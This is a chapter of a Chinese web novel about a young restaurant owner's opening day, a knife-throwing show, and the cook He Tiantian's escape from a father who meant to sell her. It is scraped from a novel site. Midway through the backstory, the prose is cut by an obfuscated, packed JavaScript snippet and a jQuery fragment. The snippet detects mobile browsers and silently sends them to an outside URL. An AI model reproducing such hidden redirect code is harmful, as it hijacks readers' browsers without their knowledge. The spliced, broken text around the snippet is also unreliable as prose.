文趣网 > 其他小说 > 到底谁是主角啊 > 6. 来途
    楼下总算招待好各位姐姐的林熙又开始满楼溜达。

    这边打个招呼那边凑个热闹,楼里看杂耍团跳丸飞剑,楼外配合着人群欢呼打气。

    吉祥物版林大少爷再度上线。

    一圈下来,实事再没干几件,但遇仙楼内外气氛又被他往上扬了几分。

    此刻正值晡时,酒楼迎来第二波人流高峰,一通玩乐下来的林熙心满意足地回到楼内,让祁安帮忙拿了壶果子饮,站在满是墨迹的素屏旁边喝边欣赏,特别是自己悄摸写在角落的“吾日三省吾身,吾吃饭否?吾吃好否?吾吃美否?”,狂放不羁的字迹让她越看越喜欢,思忖着什么时候人少点了再去添改个“吾来遇仙楼吃否?”。

    多精彩的广告语啊,决定了,到时候就让徐掌柜找人做个横幅挂酒楼上面。

    被摸了大半天感觉要秃顶了的小黑猫窝在她腿边,焉声询问她打算何时行动。

    林熙沾沾自得朝自己敬了杯酒,慢声说着不急,瞄到前面一众酒气熏天的素衣墨客聚在一起大谈阔论,便挪着步子凑近竖起耳朵。

    几人从诗词歌赋聊到时局官场,后面酒意上头,个个口若悬河起来,林熙听得津津有味,不时和小猫对视几眼,无声“哇哦”几句,感慨果然不管什么时候,酒鬼都一个德行。

    突然又一群人跌跌撞撞着朝林熙走来,个个豪情万丈地执管挥毫,墨汁淋漓,有的还未落于屏上,旁边人便拍案叫绝,甭管自夸互夸,到了后头,几人都在催促一蓝衫男子,“还是邹兄来一个吧!”

    男子提着个食盒,连连摆手,声声道只是来吃饭的,就不献丑了。

    众人听了更加来劲,“邹兄着实过谦了,如今京城谁不知道你的大名,都道是诗仙下凡,文曲星在世,你那些墨宝啊,如今可是一字难求,拿到了都得供起来的啊。”

    一旁相熟的人帮着解围,“哎哎,邹兄这趟出来是给家里夫人买吃食来的,也就路上被我瞧见拽了过来,这要是回去晚了,夫人不高兴可就不好了,难哄得很。”

    几人闻言哈哈大笑起来,夸赞邹兄待妻温厚,实乃吾辈楷模。

    也有不死心的,“哎呀,这作诗对邹兄来说不就如同呼吸吃饭一般,必不会让尊夫人久等的。邹兄,不如就简单作一首,让这帮家伙长长眼,也让我们享个口福,尝尝那步青云,一起讨个好彩头啊。”

    旁边人听这话又一起应和催促着。

    那邹兄适才饮了酒,又经这么多人捧着,当即应下,“我作诗本就不图名利,全为爱好,竟然诸位如此盛邀,邹某便斗胆一试。”

    随即笔尖轻点素屏,眯了眯眼,便笔走龙蛇写留下墨迹。

    几人连声叫好,奉承道诗仙落笔真真是抬举了遇仙楼。

    林熙听得撇撇嘴,提步回到大厅中央。

    恰逢杂耍团要表演蒙眼飞刀,林熙兴致勃勃上前要当靶子,面对福来和徐管家的劝阻,直言自己有经验让几人把心塞肚子里去。

    两人哪里放得下心,口干舌燥地在旁边拉着人劝说,“少爷,这实在不妥啊,不是我们说话不吉利,您要是有个好歹,我们怎么对得起老爷夫人的恩情啊!”

    乐呵一天的徐掌柜此刻欲哭无泪,满心祈祷出门办事的管叔能突然降临,毕竟少爷荒唐多年,也只听过他的几句劝告,最后见怎么都劝不下自家少爷,狠心一咬牙,“不如让福来去吧,这小子一直仰慕甘霖姑娘,还望少爷给他个机会和人姑娘搭档一次。”

    福来:“对对对,就让我……啊?”本来打算趴下抱住少爷大腿的人顿住动作,抬头不可置信地瞪着自家老爹。

    “我我我我我……对,没错,少爷,你就给我这个机会吧!”此刻也不知是少男心事被揭开的羞耻还是被自己亲爹推出的震惊,福来结巴半天硬着头皮应下,怀着英勇就义的悲怆闭眼就要往台上去。

    突然耳边响起少女咯咯轻笑,声音清亮如银铃,“我说两位,至于这么紧张吗?我们满堂彩怎么也是京城有名的百戏班子,没点真本事可不敢出来现眼啊。再说,林少爷也和我们一起玩耍过多次了,难度再大的也不是没有,是不是啊,林少爷?”

    来人正是即将上台蒙眼飞刀的甘霖姑娘,也是如今人气最高的百戏伎人,小小年纪便已学会吐火吞刀、跳剑七刃、蒙眼担水踏索等绝活。

    甘霖高发紧束,一身绯红窄袖短襦,腕间红绳系着几个铜铃铛,随着动作叮当作响。

    她神采飞扬地拉着林熙上台去,途中突然转头喊道:“对了,小郎君,你若有兴致下次还来看我表演啊,我给你留张票,到时候再请你来当我搭档!”

    福来听到这话脸顿时红成一片,但眼里是藏不住的欣喜,半晌小声“哎”了一句应答。

    徐掌柜睨了眼自家儿子那没出息样,转头紧紧盯着台上的林熙,手不住搓着身前衣裳,原本齐整的衣服没一会儿就皱作一团。

    遇仙楼内外众人听闻酒楼东家要出面配合飞刀表演,皆一股脑挤进来,七嘴八舌议论着等着看戏,有的为了图个好位置,便一同搭伙上了二楼阁子。

    林熙站于靶前,侧头瞧着下面上面双双紧张期待的眼,一下子恍惚多年前的景区表演,她朝看客们粲然一笑。

    对面甘霖取方玄色皂帕紧紧蒙住双眼,手腕骤然翻飞,一柄柄缚着红绸的断刃破空呼啸而出。寒光掠过少年身侧,笃笃连声,尽数擦着人身钉入木靶。底下众人倒吸一口冷气,死寂片刻转瞬爆发出震天的喝彩。

    林熙悠悠然离开木靶,施施然向众人行了个礼。

    抬头恰好和位粉衣青年对上目光,噙着笑意朝人眨了眨眼。

    *

    月上枝头,忙活了一天的众人总算得空歇下来。

    如今的后厨都是徐掌柜后来挑出来的,厨艺虽比不得主厨全面但胜在都有个一技之长且为人老实,一日下来看着何田田临危不乱,厨艺一绝,都对她十分钦佩,争相着要敬她一杯。

    堂内灯烛尽数点亮,暖光映着满室桌椅,众人围作一桌,举杯庆贺,几人初时因林熙这个大东家在场略显拘谨,聊开后闹作一团,今日的盛况更是让几人心有戚戚,林熙见此十分满意自己的小团队初具团魂。

    展演一天的满堂彩应林熙邀请一同留下相庆,几人明显与林少爷故交甚好,得知人如今失忆了,均失落难过,但瞧林熙其他地方都安然无恙,又重新欢腾起来,挤着闹着要和她把酒言欢,大有不把她灌醉不罢休之势。

    林熙连声讨饶,和最前面的甘霖轻碰酒杯,抓住时机先发制人,“甘霖姑娘今日可叫人刮目相看,这般出神入化的技艺是练了多少年了?”

    甘霖轻酌一口果子饮,笑嘻嘻应答道,“那可好久了,我从会走路开始就被班主婆婆教着学习各式把戏了。也多亏林少爷资助,不然满堂彩也没法这么快在京城出头。”

    说着又给自己满上,还想再敬林熙一杯,可她人早就被层层围住,转头看见同样被围着的何田田,端起杯盏凑过去,仗着个头小人又灵活,几下挤到她面前朗声开口,“何姐姐才是今日的大功臣呢,刚来时便听林少爷夸赞你的厨艺。姐姐又是何时学得如此技艺的啊?”

    何田田不胜酒力,几杯下肚,两颊染上淡淡酡红,好在神志依旧清明,听到询问笑着答道:“小时候在镇上饭馆帮工补贴家用,饭馆师傅许是瞧我做事机灵,不时教导我几番,食材如何处理,不同食材如何下刀,火候如何掌控,耳濡目染下学会不少。大些时候,有一次师傅忙不过来,突发奇想让我帮着炒个时蔬,平平无奇的一道菜,但端上桌后看到客人满足的笑容,我便梦想着有朝一日也能当上厨子,做出天下最可口的餐食。”何田田提及心中理想,眼底浮起灼灼光彩,语气也更加轻快起来。

    甘霖一口饮尽杯中酒液,同样眉飞色舞,“我也是!我也是!每次看台下掌声雷动,都不住想当场再给大家翻几个跟斗!早些时候练功实在辛苦,便偷摸躲到后台看师姐师兄们表演,幻想着自己学成后在台上如何大放光彩,赢得满堂喝彩。嘿嘿,满堂彩这个名字还是我提议的呢!“小姑娘得意洋洋地晃了晃脑袋,伸手打算再来一杯,手刚伸出去一半便被人按了下去——是满堂彩的班主。

    “婆婆——“甘霖软着嗓子撒娇。

    班主早就见惯她这一套,强硬着态度言明她今日已经喝得够多了,再喝下去明儿个起来该头疼了。全然不理甘霖的撒泼卖乖,没收两人手里残留着酒香的杯盏,换成碗醒酒汤。

    接过醒酒汤的何田田礼貌道谢,看着对面还在试图抗争的甘霖和强撑黑脸的班主,有些艳羡地笑了笑,低头喝下醒酒汤。

    农家少女梦想萌芽的故事自然有后续。

    那次上手炒菜之后没几个月师傅便因年纪大了不干了,自己也被新来厨子的堂弟顶替了活计。

    此后她开始自己做吃食叫卖,亦或是去其他馆子里帮工,但都干不长久,生意冷清的嫌雇她花销太大,生意红火的自有大把人托关系想进来。但只要有机会进馆子里,她便卯足了劲观摩学习,有好心的厨子见她有天赋指导几句,也有不少人见状提防打压她。

    日子也就这样一天天过去,不好也不坏,直到某一日偶然听闻自己老爹竟计划着卖了自己给弟弟攒彩礼钱,委屈和惊惧瞬间淹没压垮她。

    她想不明白,自己记事起便一直帮衬着家里,除去饭馆帮工,家里农事家务也都有她的参与,知晓家里境况不好,也从没要求过什么,即使是再羡慕喜欢的东西,也只是默默对自己说,也许长大后自己能攒钱买来。

    可是如今是为什么呢?她不也是爹爹的孩子吗?为什么从小到大他一有不顺心就打她和娘?为什么许多次明明是弟弟的错挨打的还是她?为什么他从不肯对她展以笑容,脸上从来都是冷漠和估量?为什么如今要卖掉亲生女儿,只为一笔彩礼钱?

    她想不通,即便二丫说就是这样的,自己的姐姐也是这样被换成迎娶嫂子的钱财,安慰何田田说她姐姐现在过得也不错,不愁吃穿,每次回来还能给自己带糖吃。

    但她不想就此认命!

    她不想由着别人被推入未知的命运!不想成为待价而沽的物品!她有自己的理想!她要当一代名厨!要攒钱买自己喜欢的物件!她要跑!要离开这里!

    是了,她要离开,要去能实现她理想抱负的地方!

    何

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912177|213159||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    田田不再全数上交工钱,每天悄悄留下几枚铜板,有次藏匿时不幸被她娘瞧见了,她攥紧铜钱,手指用力到发白,惊惧之下连日积攒的委屈和愤怒也涌了上来,她想呐喊,想开口质问,对着这个生她养她曾经会抱着她哄睡的母亲。

    可娘什么也没说。

    何田田忐忑多日,听弟弟说爹已经找好买家了,让她识趣地早日收拾东西滚蛋。

    是该走了。

    前一日又被一馆子辞退,何田田一大早便被催促着上山砍柴去,箩筐里装的是钱财和套不常穿的衣物,在山上将身上衣裳扯下些许布条,再拿出早已备好的鸡血,营造成自己被山中野兽吞食的景象。

    随后扔下箩筐,背起行囊狂奔起来。

    衣袍被风扯得猎猎作响,眼前景色飞快后撤,耳畔尽是呼呼风声,她翻过高山、渡过河流、穿过集市,虫鸣鸟叫、潺潺流水、吆喝叫卖,一切都在何田田耳边疯狂叫嚣——叫嚣着自由!叫嚣着理想!叫嚣着勇气!

    终于跑得足够远了,何田田又累又饿,积攒的盘缠已经见底了,因她形容狼狈,屡次应聘做工都遭拒绝,只有一些价格实在低廉的才会要她。

    夜晚,何田田窝在小馆的柴房里,冷白月华沉沉洒落,压在她的肩头,她沉默地啃着有些发噎的粗劣麦饼,摩挲着手里的老茧,再一次对未来感到迷茫。

    我真的做对了吗?这样真的是更好的未来吗?明天会好起来吗?明天能有一个包子吗?我是不是……应该回去?

    她不知道,此刻的柴房一片漆黑,只有星星和月亮带来丝丝光亮,但星星和月亮不会说话,没有人能回答她。

    何田田抱着自己的行囊蹲坐窗边,突然一小布包掉了出来,她摸索着捡起,月光照耀下看清是用方青布帕子裹起来的,但自己未曾携带这物什,疑惑着打开——里面竟有几块碎银!还有一张平整的字条!

    这是怎么回事?

    “田田吾儿,已走勿归,若身无所归,可寻汝姨母。此行路远,望自珍重。”一成衣坊绣娘帮着读出纸上的字,“唉,这是你娘给你写的吧?小姑娘出来谋生不容易啊,纸背面是你姨母的地址,早日动身去寻她吧,别再在李铁牛那黑心玩意儿手下干活了。”

    何田田呆愣地看着那张纸,几块碎银还揣在她胸口,沉甸甸的。

    突然一阵微风拂过她瘦削的面庞,轻柔得不像话,她眨了眨眼,用力将那股涩意压下。

    挤出笑容向绣娘道谢,又要了件便宜的衣裳,付完银钱快速奔回柴房。

    房门轰然关闭,她抱着新衣,紧紧攥着手里的字条,再无法阻挡汹涌的泪水,多日的苦痛茫然被冲刷了个干净,灼热的眼眶孕育着再一次的新生。

    这一次没有怒风激浪,只有丝丝暖意包裹起全身,至此身负无上勇气。

    姨母家在京郊,多年前丈夫意外离世,自己独立抚养尚且年幼的孩子长大,好在她性格强势,家里又有些积蓄,靠着兜售绣品也能过活。

    听闻侄女的遭遇后不住流泪叹气,强硬拒绝了何田田塞给她的钱银,让她放心住着,平日一起帮忙干活便好。

    顺利在姨母家落脚后,何田田帮着处理家里大小家务,不时做些吃食去集市售卖,也学着做些绣活或是出门做工,空闲时候便跟着姨母读书识字。

    姨母惊讶侄女的机灵能干,在她帮衬下压力也少了许多。相处下得知了何田田的夙愿,“不如去京城里面试试?便是有机会到贵人们府里当个厨娘也是极好的。”

    何田田那日卖完油条,恰逢遇上徐掌柜招厨子,便鼓着气前去一试,命运也终于眷顾赤忱的少女,她出乎所有人包括她自己的意料,成为遇仙楼主厨。

    这样不算愉快的经历自然不适合在这欢乐的宴席上言说,总归现在一切都在好起来,自己已经迈出曾经不敢想的第一步了,不是吗?

    宴尽酒酣,林熙招呼福来、祁安帮忙发放赏钱,“今日遇仙楼顺利开张,多亏诸位齐心协力,勤勉奔走,相信只要我们戮力同心,必能将遇仙楼做大做强!诸位的酬劳奖励我也断不会吝啬!干杯!”

    众人应声而起,灯火煌煌,不论瓷碗陶杯,尽皆高高攀起,杯盏碰撞,叮当脆响连成一片。

    “咦?这里面怎么还有个镯子?”甘霖刚放下碗就迫不及待打开布袋,拿出里面东西好奇询问。

    一旁祁安抢声道:“是少爷专门去庙里开过光的!有镯子有手绳,保佑各位财源滚滚,心想事成,可灵验的!我那日带上出门,当场就捡了枚铜板呢!”

    “是吗?那我得赶快带上,保佑我今晚回去能被块没人要的大银子绊一跤,再摔进没人要的银票堆里,嘻嘻。”甘霖嬉笑着就把手镯往手上戴。

    其他人也闹趣着戴上,收下东家这份心意。

    何田田瞧着手里的镯子,木头质地,缠着串红绳,乌黑镯身刻着“心想事成”几字,她摩挲着字样,郑重将其戴上。

    林熙一边应和众人一边暗中关注,手里的酒杯都因兴奋有些颤抖,见状和小白对视一眼,一人一猫耳边同时传来系统播报声。

    “恭喜宿主!当前任务进度2%!还望再接再厉!”